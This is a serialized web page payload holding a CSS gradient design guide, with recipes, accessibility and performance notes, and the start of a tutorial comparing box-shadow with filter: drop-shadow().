--grad-surface",[1560,55884,1663],{"class":1570},[1560,55886,46356],{"class":1576},[1560,55888,1688],{"class":1570},[1560,55890,35584],{"class":1576},[1560,55892,1694],{"class":1669},[1560,55894,1459],{"class":1570},[1560,55896,2315],{"class":1576},[1560,55898,1459],{"class":1570},[1560,55900,2299],{"class":1576},[1560,55902,1744],{"class":1570},[1560,55904,55905,55908,55910,55912,55914,55916,55918,55920,55922,55924,55926],{"class":1562,"line":365},[1560,55906,55907],{"class":2219},"  --grad-accent",[1560,55909,1663],{"class":1570},[1560,55911,46356],{"class":1576},[1560,55913,1688],{"class":1570},[1560,55915,46361],{"class":1576},[1560,55917,1694],{"class":1669},[1560,55919,1459],{"class":1570},[1560,55921,30753],{"class":1576},[1560,55923,1459],{"class":1570},[1560,55925,54526],{"class":1576},[1560,55927,1744],{"class":1570},[1560,55929,55930],{"class":1562,"line":889},[1560,55931,1585],{"class":1570},[1560,55933,55934],{"class":1562,"line":1710},[1560,55935,1702],{"emptyLinePlaceholder":363},[1560,55937,55938,55940],{"class":1562,"line":1717},[1560,55939,2537],{"class":1566},[1560,55941,1571],{"class":1570},[1560,55943,55944,55946,55948,55950,55952,55955],{"class":1562,"line":1747},[1560,55945,5665],{"class":1576},[1560,55947,1663],{"class":1570},[1560,55949,2497],{"class":1576},[1560,55951,1688],{"class":1570},[1560,55953,55954],{"class":2219},"--grad-primary",[1560,55956,1744],{"class":1570},[1560,55958,55959],{"class":1562,"line":2507},[1560,55960,1585],{"class":1570},[1560,55962,55963],{"class":1562,"line":2524},[1560,55964,1702],{"emptyLinePlaceholder":363},[1560,55966,55967,55970],{"class":1562,"line":2529},[1560,55968,55969],{"class":1566},".hero-banner",[1560,55971,1571],{"class":1570},[1560,55973,55974,55976,55978,55980,55982,55985],{"class":1562,"line":2534},[1560,55975,5665],{"class":1576},[1560,55977,1663],{"class":1570},[1560,55979,2497],{"class":1576},[1560,55981,1688],{"class":1570},[1560,55983,55984],{"class":2219},"--grad-accent",[1560,55986,1744],{"class":1570},[1560,55988,55989],{"class":1562,"line":2542},[1560,55990,1585],{"class":1570},[16,55992,55993],{},"Change the variable once, and every component updates. This is especially useful for theming and dark\u002Flight mode toggles.",[135,55995,55997],{"className":1554,"code":55996,"language":1556,"meta":141,"style":141},"[data-theme=\"dark\"] {\n  --grad-surface: linear-gradient(180deg, #1E293B, #0F172A);\n  --grad-primary: linear-gradient(135deg, #60A5FA, #A78BFA);\n}\n",[143,55998,55999,56014,56038,56063],{"__ignoreMap":141},[1560,56000,56001,56003,56006,56008,56011],{"class":1562,"line":1563},[1560,56002,24385],{"class":1570},[1560,56004,56005],{"class":1566},"data-theme",[1560,56007,7297],{"class":1669},[1560,56009,56010],{"class":5634},"\"dark\"",[1560,56012,56013],{"class":1570},"] {\n",[1560,56015,56016,56018,56020,56022,56024,56026,56028,56030,56032,56034,56036],{"class":1562,"line":337},[1560,56017,55882],{"class":2219},[1560,56019,1663],{"class":1570},[1560,56021,46356],{"class":1576},[1560,56023,1688],{"class":1570},[1560,56025,35584],{"class":1576},[1560,56027,1694],{"class":1669},[1560,56029,1459],{"class":1570},[1560,56031,2315],{"class":1576},[1560,56033,1459],{"class":1570},[1560,56035,2299],{"class":1576},[1560,56037,1744],{"class":1570},[1560,56039,56040,56042,56044,56046,56048,56050,56052,56054,56056,56058,56061],{"class":1562,"line":343},[1560,56041,55857],{"class":2219},[1560,56043,1663],{"class":1570},[1560,56045,46356],{"class":1576},[1560,56047,1688],{"class":1570},[1560,56049,46361],{"class":1576},[1560,56051,1694],{"class":1669},[1560,56053,1459],{"class":1570},[1560,56055,2331],{"class":1576},[1560,56057,1459],{"class":1570},[1560,56059,56060],{"class":1576},"#A78BFA",[1560,56062,1744],{"class":1570},[1560,56064,56065],{"class":1562,"line":365},[1560,56066,1585],{"class":1570},[11,56068,56070],{"id":56069},"performance-notes","Performance Notes",[16,56072,56073],{},"Gradients are cheap — most of the time. A few things to watch:",[193,56075,56076,56086],{},[196,56077,56078],{},[199,56079,56080,56082,56084],{},[202,56081,49054],{},[202,56083,34974],{},[202,56085,49059],{},[211,56087,56088,56098,56115,56125],{},[199,56089,56090,56093,56095],{},[216,56091,56092],{},"Gradient repaint on scroll",[216,56094,15466],{},[216,56096,56097],{},"Browsers cache rasterized gradients",[199,56099,56100,56103,56105],{},[216,56101,56102],{},"Animated gradient angles",[216,56104,7639],{},[216,56106,1388,56107,56110,56111,56114],{},[143,56108,56109],{},"@property"," for smooth animations; avoid ",[143,56112,56113],{},"background-size"," tricks",[199,56116,56117,56120,56122],{},[216,56118,56119],{},"Many overlapping gradients",[216,56121,15446],{},[216,56123,56124],{},"Each layer is composited; keep layers under 3",[199,56126,56127,56132,56134],{},[216,56128,56129],{},[143,56130,56131],{},"will-change: background",[216,56133,15466],{},[216,56135,56136],{},"Only add if you are animating the gradient",[33,56138,56140],{"id":56139},"smooth-gradient-animation","Smooth Gradient Animation",[135,56142,56144],{"className":1554,"code":56143,"language":1556,"meta":141,"style":141},"@property --angle {\n  syntax: '\u003Cangle>';\n  initial-value: 0deg;\n  inherits: false;\n}\n\n.animated-border {\n  --angle: 0deg;\n  background: conic-gradient(from var(--angle), #3B82F6, #8B5CF6, #3B82F6);\n  animation: rotate 3s linear infinite;\n}\n\n@keyframes rotate {\n  to { --angle: 360deg; }\n}\n",[143,56145,56146,56153,56163,56171,56176,56180,56184,56191,56204,56237,56254,56258,56262,56271,56287],{"__ignoreMap":141},[1560,56147,56148,56150],{"class":1562,"line":1563},[1560,56149,56109],{"class":1669},[1560,56151,56152],{"class":1570}," --angle {\n",[1560,56154,56155,56158,56160],{"class":1562,"line":337},[1560,56156,56157],{"class":1570},"  syntax: '\u003Cangle",[1560,56159,28226],{"class":1669},[1560,56161,56162],{"class":1570},"';\n",[1560,56164,56165,56168],{"class":1562,"line":343},[1560,56166,56167],{"class":2484},"  initial-value",[1560,56169,56170],{"class":1570},": 0deg;\n",[1560,56172,56173],{"class":1562,"line":365},[1560,56174,56175],{"class":1570},"  inherits: false;\n",[1560,56177,56178],{"class":1562,"line":889},[1560,56179,1585],{"class":1570},[1560,56181,56182],{"class":1562,"line":1710},[1560,56183,1702],{"emptyLinePlaceholder":363},[1560,56185,56186,56189],{"class":1562,"line":1717},[1560,56187,56188],{"class":1566},".animated-border",[1560,56190,1571],{"class":1570},[1560,56192,56193,56196,56198,56200,56202],{"class":1562,"line":1747},[1560,56194,56195],{"class":2219},"  --angle",[1560,56197,1663],{"class":1570},[1560,56199,5285],{"class":1576},[1560,56201,1694],{"class":1669},[1560,56203,2228],{"class":1570},[1560,56205,56206,56208,56210,56212,56214,56216,56218,56220,56223,56225,56227,56229,56231,56233,56235],{"class":1562,"line":2507},[1560,56207,5665],{"class":1576},[1560,56209,1663],{"class":1570},[1560,56211,53023],{"class":1576},[1560,56213,1688],{"class":1570},[1560,56215,8168],{"class":1669},[1560,56217,17282],{"class":1576},[1560,56219,1688],{"class":1570},[1560,56221,56222],{"class":2219},"--angle",[1560,56224,18895],{"class":1570},[1560,56226,2260],{"class":1576},[1560,56228,1459],{"class":1570},[1560,56230,55458],{"class":1576},[1560,56232,1459],{"class":1570},[1560,56234,2260],{"class":1576},[1560,56236,1744],{"class":1570},[1560,56238,56239,56241,56244,56246,56248,56250,56252],{"class":1562,"line":2524},[1560,56240,20083],{"class":1576},[1560,56242,56243],{"class":1570},": rotate ",[1560,56245,17821],{"class":1576},[1560,56247,18727],{"class":1669},[1560,56249,44333],{"class":1576},[1560,56251,20096],{"class":1576},[1560,56253,2228],{"class":1570},[1560,56255,56256],{"class":1562,"line":2529},[1560,56257,1585],{"class":1570},[1560,56259,56260],{"class":1562,"line":2534},[1560,56261,1702],{"emptyLinePlaceholder":363},[1560,56263,56264,56266,56269],{"class":1562,"line":2542},[1560,56265,19946],{"class":1669},[1560,56267,56268],{"class":2219}," rotate",[1560,56270,1571],{"class":1570},[1560,56272,56273,56275,56277,56279,56281,56283,56285],{"class":1562,"line":2558},[1560,56274,44637],{"class":1566},[1560,56276,1658],{"class":1570},[1560,56278,56222],{"class":2219},[1560,56280,1663],{"class":1570},[1560,56282,44650],{"class":1576},[1560,56284,1694],{"class":1669},[1560,56286,1673],{"class":1570},[1560,56288,56289],{"class":1562,"line":2570},[1560,56290,1585],{"class":1570},[16,56292,421,56293,56295],{},[143,56294,56109],{}," rule lets the browser interpolate angle values smoothly, producing a clean rotation without janky steps.",[11,56297,56299],{"id":56298},"accessibility-checklist","Accessibility Checklist",[16,56301,56302],{},"Beautiful gradients mean nothing if users cannot read the content on top of them.",[41,56304,56305,56311,56317,56323],{},[44,56306,56307,56310],{},[47,56308,56309],{},"Check text contrast",": Every color stop that sits behind text must meet WCAG AA (4.5:1)",[44,56312,56313,56316],{},[47,56314,56315],{},"Never convey meaning by color alone",": Pair gradient indicators with text or icons",[44,56318,56319,56322],{},[47,56320,56321],{},"Test in both modes",": A gradient that passes contrast in light mode may fail in dark mode",[44,56324,56325,56328],{},[47,56326,56327],{},"Simulate color blindness",": Use browser DevTools vision simulation",[135,56330,56332],{"className":1554,"code":56331,"language":1556,"meta":141,"style":141},"\u002F* Safe overlay gradient for text *\u002F\n.hero-overlay {\n  background: linear-gradient(\n    to bottom,\n    transparent 0%,\n    rgba(15, 23, 42, 0.85) 100%\n  );\n  \u002F* Ensures bottom text area has high contrast *\u002F\n}\n",[143,56333,56334,56339,56346,56356,56366,56377,56406,56410,56415],{"__ignoreMap":141},[1560,56335,56336],{"class":1562,"line":1563},[1560,56337,56338],{"class":1649},"\u002F* Safe overlay gradient for text *\u002F\n",[1560,56340,56341,56344],{"class":1562,"line":337},[1560,56342,56343],{"class":1566},".hero-overlay",[1560,56345,1571],{"class":1570},[1560,56347,56348,56350,56352,56354],{"class":1562,"line":343},[1560,56349,5665],{"class":1576},[1560,56351,1663],{"class":1570},[1560,56353,46356],{"class":1576},[1560,56355,35957],{"class":1570},[1560,56357,56358,56361,56364],{"class":1562,"line":365},[1560,56359,56360],{"class":1669},"    to",[1560,56362,56363],{"class":1576}," bottom",[1560,56365,11943],{"class":1570},[1560,56367,56368,56371,56373,56375],{"class":1562,"line":889},[1560,56369,56370],{"class":1576},"    transparent",[1560,56372,13541],{"class":1576},[1560,56374,17990],{"class":1669},[1560,56376,11943],{"class":1570},[1560,56378,56379,56382,56384,56386,56388,56391,56393,56395,56397,56400,56402,56404],{"class":1562,"line":1710},[1560,56380,56381],{"class":1576},"    rgba",[1560,56383,1688],{"class":1570},[1560,56385,14854],{"class":1576},[1560,56387,1459],{"class":1570},[1560,56389,56390],{"class":1576},"23",[1560,56392,1459],{"class":1570},[1560,56394,14520],{"class":1576},[1560,56396,1459],{"class":1570},[1560,56398,56399],{"class":1576},"0.85",[1560,56401,1733],{"class":1570},[1560,56403,18114],{"class":1576},[1560,56405,36070],{"class":1669},[1560,56407,56408],{"class":1562,"line":1717},[1560,56409,36075],{"class":1570},[1560,56411,56412],{"class":1562,"line":1747},[1560,56413,56414],{"class":1649},"  \u002F* Ensures bottom text area has high contrast *\u002F\n",[1560,56416,56417],{"class":1562,"line":2507},[1560,56418,1585],{"class":1570},[11,56420,56422],{"id":56421},"_10-practical-css-gradient-recipes","10 Practical CSS Gradient Recipes",[77,56424,56425,56459,56493,56526,56549,56572,56613,56645,56665,56730],{},[44,56426,56427,56430],{},[47,56428,56429],{},"Glass morphism surface",[135,56431,56433],{"className":1554,"code":56432,"language":1556,"meta":141,"style":141},"background: linear-gradient(135deg, rgba(255,255,255,0.1), rgba(255,255,255,0.05));\nbackdrop-filter: blur(10px);\n",[143,56434,56435,56451],{"__ignoreMap":141},[1560,56436,56437,56440,56443,56446,56449],{"class":1562,"line":1563},[1560,56438,56439],{"class":1570},"background: linear-gradient(135deg, rgba(255,255,255,0",[1560,56441,56442],{"class":1566},".1",[1560,56444,56445],{"class":1570},"), rgba(255,255,255,0",[1560,56447,56448],{"class":1566},".05",[1560,56450,41941],{"class":1570},[1560,56452,56453,56456],{"class":1562,"line":337},[1560,56454,56455],{"class":2484},"backdrop-filter",[1560,56457,56458],{"class":1570},": blur(10px);\n",[44,56460,56461,56464],{},[47,56462,56463],{},"Warm button glow",[135,56465,56467],{"className":1554,"code":56466,"language":1556,"meta":141,"style":141},"background: linear-gradient(135deg, #F59E0B, #EF4444);\nbox-shadow: 0 4px 14px rgba(239, 68, 68, 0.4);\n",[143,56468,56469,56482],{"__ignoreMap":141},[1560,56470,56471,56474,56476,56478,56480],{"class":1562,"line":1563},[1560,56472,56473],{"class":1570},"background: linear-gradient(135deg, ",[1560,56475,30753],{"class":1566},[1560,56477,1459],{"class":1570},[1560,56479,54526],{"class":1566},[1560,56481,1744],{"class":1570},[1560,56483,56484,56486,56489,56491],{"class":1562,"line":337},[1560,56485,1880],{"class":2484},[1560,56487,56488],{"class":1570},": 0 4px 14px rgba(239, 68, 68, 0",[1560,56490,55683],{"class":1566},[1560,56492,1744],{"class":1570},[44,56494,56495,56498],{},[47,56496,56497],{},"Cool button glow",[135,56499,56501],{"className":1554,"code":56500,"language":1556,"meta":141,"style":141},"background: linear-gradient(135deg, #3B82F6, #8B5CF6);\nbox-shadow: 0 4px 14px rgba(59, 130, 246, 0.4);\n",[143,56502,56503,56515],{"__ignoreMap":141},[1560,56504,56505,56507,56509,56511,56513],{"class":1562,"line":1563},[1560,56506,56473],{"class":1570},[1560,56508,2260],{"class":5159},[1560,56510,1459],{"class":1570},[1560,56512,55458],{"class":5159},[1560,56514,1744],{"class":1570},[1560,56516,56517,56519,56522,56524],{"class":1562,"line":337},[1560,56518,1880],{"class":2484},[1560,56520,56521],{"class":1570},": 0 4px 14px rgba(59, 130, 246, 0",[1560,56523,55683],{"class":1566},[1560,56525,1744],{"class":1570},[44,56527,56528,56531],{},[47,56529,56530],{},"Dark elevated card",[135,56532,56534],{"className":1554,"code":56533,"language":1556,"meta":141,"style":141},"background: linear-gradient(180deg, #1E293B, #0F172A);\n",[143,56535,56536],{"__ignoreMap":141},[1560,56537,56538,56541,56543,56545,56547],{"class":1562,"line":1563},[1560,56539,56540],{"class":1570},"background: linear-gradient(180deg, ",[1560,56542,2315],{"class":5159},[1560,56544,1459],{"class":1570},[1560,56546,2299],{"class":5159},[1560,56548,1744],{"class":1570},[44,56550,56551,56554],{},[47,56552,56553],{},"Subtle warm shift",[135,56555,56557],{"className":1554,"code":56556,"language":1556,"meta":141,"style":141},"background: linear-gradient(180deg, #FEF3C7, #FDE68A);\n",[143,56558,56559],{"__ignoreMap":141},[1560,56560,56561,56563,56565,56567,56570],{"class":1562,"line":1563},[1560,56562,56540],{"class":1570},[1560,56564,3555],{"class":1566},[1560,56566,1459],{"class":1570},[1560,56568,56569],{"class":1566},"#FDE68A",[1560,56571,1744],{"class":1570},[44,56573,56574,56577],{},[47,56575,56576],{},"Mesh-like blend",[135,56578,56580],{"className":1554,"code":56579,"language":1556,"meta":141,"style":141},"background:\n  radial-gradient(at 20% 80%, rgba(59,130,246,0.3), transparent 50%),\n  radial-gradient(at 80% 20%, rgba(139,92,246,0.3), transparent 50%),\n  #0F172A;\n",[143,56581,56582,56587,56597,56606],{"__ignoreMap":141},[1560,56583,56584],{"class":1562,"line":1563},[1560,56585,56586],{"class":1570},"background:\n",[1560,56588,56589,56592,56594],{"class":1562,"line":337},[1560,56590,56591],{"class":1570},"  radial-gradient(at 20% 80%, rgba(59,130,246,0",[1560,56593,55692],{"class":1566},[1560,56595,56596],{"class":1570},"), transparent 50%),\n",[1560,56598,56599,56602,56604],{"class":1562,"line":343},[1560,56600,56601],{"class":1570},"  radial-gradient(at 80% 20%, rgba(139,92,246,0",[1560,56603,55692],{"class":1566},[1560,56605,56596],{"class":1570},[1560,56607,56608,56611],{"class":1562,"line":365},[1560,56609,56610],{"class":5159},"  #0F172A",[1560,56612,2228],{"class":1570},[44,56614,56615,56618],{},[47,56616,56617],{},"Text gradient",[135,56619,56621],{"className":1554,"code":56620,"language":1556,"meta":141,"style":141},"background: linear-gradient(135deg, #3B82F6, #8B5CF6);\n-webkit-background-clip: text;\n-webkit-text-fill-color: transparent;\n",[143,56622,56623,56635,56640],{"__ignoreMap":141},[1560,56624,56625,56627,56629,56631,56633],{"class":1562,"line":1563},[1560,56626,56473],{"class":1570},[1560,56628,2260],{"class":5159},[1560,56630,1459],{"class":1570},[1560,56632,55458],{"class":5159},[1560,56634,1744],{"class":1570},[1560,56636,56637],{"class":1562,"line":337},[1560,56638,56639],{"class":1570},"-webkit-background-clip: text;\n",[1560,56641,56642],{"class":1562,"line":343},[1560,56643,56644],{"class":1570},"-webkit-text-fill-color: transparent;\n",[44,56646,56647,56650],{},[47,56648,56649],{},"Horizon glow",[135,56651,56653],{"className":1554,"code":56652,"language":1556,"meta":141,"style":141},"background: linear-gradient(to top, #3B82F6, transparent 60%);\n",[143,56654,56655],{"__ignoreMap":141},[1560,56656,56657,56660,56662],{"class":1562,"line":1563},[1560,56658,56659],{"class":1570},"background: linear-gradient(to top, ",[1560,56661,2260],{"class":5159},[1560,56663,56664],{"class":1570},", transparent 60%);\n",[44,56666,56667,56670],{},[47,56668,56669],{},"Shimmer loading effect",[135,56671,56673],{"className":1554,"code":56672,"language":1556,"meta":141,"style":141},"background: linear-gradient(\n  90deg,\n  #1E293B 25%,\n  #334155 50%,\n  #1E293B 75%\n);\nbackground-size: 200% 100%;\nanimation: shimmer 1.5s infinite;\n",[143,56674,56675,56680,56685,56693,56701,56708,56712,56719],{"__ignoreMap":141},[1560,56676,56677],{"class":1562,"line":1563},[1560,56678,56679],{"class":1570},"background: linear-gradient(\n",[1560,56681,56682],{"class":1562,"line":337},[1560,56683,56684],{"class":1570},"  90deg,\n",[1560,56686,56687,56690],{"class":1562,"line":343},[1560,56688,56689],{"class":5159},"  #1E293B",[1560,56691,56692],{"class":1570}," 25%,\n",[1560,56694,56695,56698],{"class":1562,"line":365},[1560,56696,56697],{"class":5159},"  #334155",[1560,56699,56700],{"class":1570}," 50%,\n",[1560,56702,56703,56705],{"class":1562,"line":889},[1560,56704,56689],{"class":5159},[1560,56706,56707],{"class":1570}," 75%\n",[1560,56709,56710],{"class":1562,"line":1710},[1560,56711,1744],{"class":1570},[1560,56713,56714,56716],{"class":1562,"line":1717},[1560,56715,56113],{"class":2484},[1560,56717,56718],{"class":1570},": 200% 100%;\n",[1560,56720,56721,56724,56727],{"class":1562,"line":1747},[1560,56722,56723],{"class":1570},"animation: shimmer 1",[1560,56725,56726],{"class":1566},".5s",[1560,56728,56729],{"class":1570}," infinite;\n",[44,56731,56732,56735],{},[47,56733,56734],{},"Gradient border",[135,56736,56738],{"className":1554,"code":56737,"language":1556,"meta":141,"style":141},"border: 2px solid transparent;\nbackground:\n  linear-gradient(#0F172A, #0F172A) padding-box,\n  linear-gradient(135deg, #3B82F6, #8B5CF6) border-box;\n",[143,56739,56740,56745,56749,56767],{"__ignoreMap":141},[1560,56741,56742],{"class":1562,"line":1563},[1560,56743,56744],{"class":1570},"border: 2px solid transparent;\n",[1560,56746,56747],{"class":1562,"line":337},[1560,56748,56586],{"class":1570},[1560,56750,56751,56754,56756,56758,56760,56762,56765],{"class":1562,"line":343},[1560,56752,56753],{"class":1570},"  linear-gradient(",[1560,56755,2299],{"class":5159},[1560,56757,1459],{"class":1570},[1560,56759,2299],{"class":5159},[1560,56761,1733],{"class":1570},[1560,56763,56764],{"class":2484},"padding-box",[1560,56766,11943],{"class":1570},[1560,56768,56769,56772,56774,56776,56778,56780,56783],{"class":1562,"line":365},[1560,56770,56771],{"class":1570},"  linear-gradient(135deg, ",[1560,56773,2260],{"class":5159},[1560,56775,1459],{"class":1570},[1560,56777,55458],{"class":5159},[1560,56779,1733],{"class":1570},[1560,56781,56782],{"class":2484},"border-box",[1560,56784,2228],{"class":1570},[11,56786,1355],{"id":1354},[41,56788,56789,56792,56795,56798,56801,56804],{},[44,56790,56791],{},"Subtle gradients (5–15% lightness shift) add depth without distraction",[44,56793,56794],{},"Layer two box shadows — one tight, one diffused — for realistic elevation",[44,56796,56797],{},"Dark mode needs lighter gradient stops and reduced saturation",[44,56799,56800],{},"Define gradients as CSS variables to keep your system maintainable",[44,56802,56803],{},"Always verify text contrast against every stop in the gradient",[44,56805,56806],{},"Keep gradient layers under 3 to avoid compositing performance hits",[11,56808,286],{"id":285},[16,56810,56811,56812,56814,56815,56817],{},"Build and preview gradients interactively with our ",[98,56813,18583],{"href":18582},". Convert colors for your gradient stops using the ",[98,56816,18588],{"href":18587}," — it handles HEX, RGB, and HSL in one click.",[11,56819,321],{"id":320},[41,56821,56822,56829],{},[44,56823,56824,56828],{},[98,56825,56827],{"href":56826},"\u002Fguides\u002Fcss-gradient-guide","CSS Gradient Guide"," — Full overview of linear, radial, and conic gradients",[44,56830,56831,56835],{},[98,56832,56834],{"href":56833},"\u002Fguides\u002Fcss-linear-gradient-tutorial","CSS Linear Gradient Tutorial"," — Deep dive into angles, directions, and advanced stop techniques",[2043,56837,56838],{},"html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .s7hpK, html code.shiki .s7hpK{--shiki-default:#B31D28;--shiki-default-font-style:italic;--shiki-dark:#FDAEB7;--shiki-dark-font-style:italic}",{"title":141,"searchDepth":337,"depth":337,"links":56840},[56841,56842,56843,56846,56847,56848,56851,56852,56853,56854,56855],{"id":55308,"depth":337,"text":55309},{"id":55315,"depth":337,"text":55316},{"id":55480,"depth":337,"text":55481,"children":56844},[56845],{"id":55597,"depth":343,"text":55598},{"id":55697,"depth":337,"text":55698},{"id":55837,"depth":337,"text":55838},{"id":56069,"depth":337,"text":56070,"children":56849},[56850],{"id":56139,"depth":343,"text":56140},{"id":56298,"depth":337,"text":56299},{"id":56421,"depth":337,"text":56422},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},{"id":320,"depth":337,"text":321},"Practical CSS design techniques using gradients, box shadows, and color theory to create polished, professional web interfaces.",{"immutable":363},{"title":55303,"description":56856},"guides\u002Fcss-design-tips","20FItqBtwnN_KlScdgO4sYAO_mg32x8LYNRvJ3wkfOQ",{"id":56862,"title":56863,"body":56864,"date":2070,"description":58078,"extension":361,"meta":58079,"navigation":363,"path":49336,"readingTime":1717,"seo":58082,"stem":58083,"__hash__":58084},"guides\u002Fguides\u002Fcss-drop-shadow-tutorial.md","CSS Drop Shadow Tutorial: box-shadow vs filter: drop-shadow()",{"type":8,"value":56865,"toc":58054},[56866,56870,56878,56882,56899,56948,56951,56955,56967,57083,57092,57096,57107,57213,57218,57222,57231,57235,57254,57315,57321,57348,57352,57361,57455,57468,57470,57476,57516,57521,57554,57558,57566,57583,57586,57702,57704,57707,57786,57789,57791,57795,57813,57816,57820,57831,57893,57897,57906,57908,57979,57987,57989,58025,58027,58033,58035,58051],[11,56867,56869],{"id":56868},"two-ways-to-add-shadows","Two Ways to Add Shadows",[16,56871,56872,56873,1856,56875,56877],{},"CSS offers two shadow mechanisms: ",[143,56874,1880],{},[143,56876,49343],{},". They look similar but behave differently in ways that directly affect your design. Picking the wrong one leads to rectangular shadows behind transparent pixels, clipped effects on irregular shapes, or confusing double-shadow artifacts.",[11,56879,56881],{"id":56880},"box-shadow-vs-drop-shadow","Box Shadow vs. Drop Shadow",[16,56883,56884,56885,56888,56889,56891,56892,56894,56895,56898],{},"The core difference is ",[47,56886,56887],{},"shape",". ",[143,56890,1880],{}," follows the rectangular bounding box of an element. ",[143,56893,49343],{}," follows the ",[47,56896,56897],{},"visible alpha contour"," — the actual rendered pixels.",[193,56900,56901,56915],{},[196,56902,56903],{},[199,56904,56905,56907,56910,56913],{},[202,56906,14482],{},[202,56908,56909],{},"Follows",[202,56911,56912],{},"Ignores",[202,56914,489],{},[211,56916,56917,56932],{},[199,56918,56919,56923,56926,56929],{},[216,56920,56921],{},[143,56922,1880],{},[216,56924,56925],{},"Element bounding box",[216,56927,56928],{},"Alpha transparency",[216,56930,56931],{},"Cards, buttons, containers",[199,56933,56934,56939,56942,56945],{},[216,56935,56936],{},[143,56937,56938],{},"drop-shadow()",[216,56940,56941],{},"Visible alpha contour",[216,56943,56944],{},"Bounding box geometry",[216,56946,56947],{},"PNG icons, clip-path shapes, SVG graphics",[16,56949,56950],{},"When the element is a plain rectangle, both produce identical output. The divergence starts as soon as transparency enters the picture.",[11,56952,56954],{"id":56953},"when-drop-shadow-follows-shape","When Drop Shadow Follows Shape",[16,56956,56957,56958,56960,56961,56963,56964,56966],{},"This is the killer feature of ",[143,56959,56938],{},". If your element has transparent pixels — a PNG icon with a transparent background, an SVG with open areas, a ",[143,56962,35456],{}," cutout, or a rotated element — ",[143,56965,56938],{}," traces the actual visible outline.",[135,56968,56970],{"className":1554,"code":56969,"language":1556,"meta":141,"style":141},"\u002F* box-shadow — shadows the full rectangle *\u002F\n.icon {\n  box-shadow: 0 4px 8px rgba(0, 0, 0, 0.3);\n}\n\n\u002F* drop-shadow — shadows only the opaque pixels *\u002F\n.icon {\n  filter: drop-shadow(0 4px 8px rgba(0, 0, 0, 0.3));\n}\n",[143,56971,56972,56977,56983,57019,57023,57027,57032,57038,57079],{"__ignoreMap":141},[1560,56973,56974],{"class":1562,"line":1563},[1560,56975,56976],{"class":1649},"\u002F* box-shadow — shadows the full rectangle *\u002F\n",[1560,56978,56979,56981],{"class":1562,"line":337},[1560,56980,11298],{"class":1566},[1560,56982,1571],{"class":1570},[1560,56984,56985,56987,56989,56991,56993,56995,56997,56999,57001,57003,57005,57007,57009,57011,57013,57015,57017],{"class":1562,"line":343},[1560,56986,18679],{"class":1576},[1560,56988,1663],{"class":1570},[1560,56990,5285],{"class":1576},[1560,56992,13574],{"class":1576},[1560,56994,1670],{"class":1669},[1560,56996,13490],{"class":1576},[1560,56998,1670],{"class":1669},[1560,57000,18694],{"class":1576},[1560,57002,1688],{"class":1570},[1560,57004,5285],{"class":1576},[1560,57006,1459],{"class":1570},[1560,57008,5285],{"class":1576},[1560,57010,1459],{"class":1570},[1560,57012,5285],{"class":1576},[1560,57014,1459],{"class":1570},[1560,57016,18724],{"class":1576},[1560,57018,1744],{"class":1570},[1560,57020,57021],{"class":1562,"line":365},[1560,57022,1585],{"class":1570},[1560,57024,57025],{"class":1562,"line":889},[1560,57026,1702],{"emptyLinePlaceholder":363},[1560,57028,57029],{"class":1562,"line":1710},[1560,57030,57031],{"class":1649},"\u002F* drop-shadow — shadows only the opaque pixels *\u002F\n",[1560,57033,57034,57036],{"class":1562,"line":1717},[1560,57035,11298],{"class":1566},[1560,57037,1571],{"class":1570},[1560,57039,57040,57042,57044,57047,57049,57051,57053,57055,57057,57059,57061,57063,57065,57067,57069,57071,57073,57075,57077],{"class":1562,"line":1747},[1560,57041,47101],{"class":1576},[1560,57043,1663],{"class":1570},[1560,57045,57046],{"class":1576},"drop-shadow",[1560,57048,1688],{"class":1570},[1560,57050,5285],{"class":1576},[1560,57052,13574],{"class":1576},[1560,57054,1670],{"class":1669},[1560,57056,13490],{"class":1576},[1560,57058,1670],{"class":1669},[1560,57060,18694],{"class":1576},[1560,57062,1688],{"class":1570},[1560,57064,5285],{"class":1576},[1560,57066,1459],{"class":1570},[1560,57068,5285],{"class":1576},[1560,57070,1459],{"class":1570},[1560,57072,5285],{"class":1576},[1560,57074,1459],{"class":1570},[1560,57076,18724],{"class":1576},[1560,57078,41941],{"class":1570},[1560,57080,57081],{"class":1562,"line":2507},[1560,57082,1585],{"class":1570},[16,57084,57085,57086,57088,57089,57091],{},"Apply both to a hamburger menu icon. ",[143,57087,1880],{}," draws a rectangular shadow behind the transparent gaps between the lines. ",[143,57090,56938],{}," casts a shadow that traces each line individually — the result looks correct.",[11,57093,57095],{"id":57094},"clip-path-shapes","Clip-Path Shapes",[16,57097,57098,57100,57101,57103,57104,57106],{},[143,57099,35456],{}," removes visual pixels but leaves the bounding box intact. ",[143,57102,1880],{}," renders on the full rectangle; ",[143,57105,56938],{}," respects the clip.",[135,57108,57110],{"className":1554,"code":57109,"language":1556,"meta":141,"style":141},".arrow {\n  clip-path: polygon(50% 0%, 100% 50%, 50% 100%, 0% 50%);\n  filter: drop-shadow(0 6px 10px rgba(0, 0, 0, 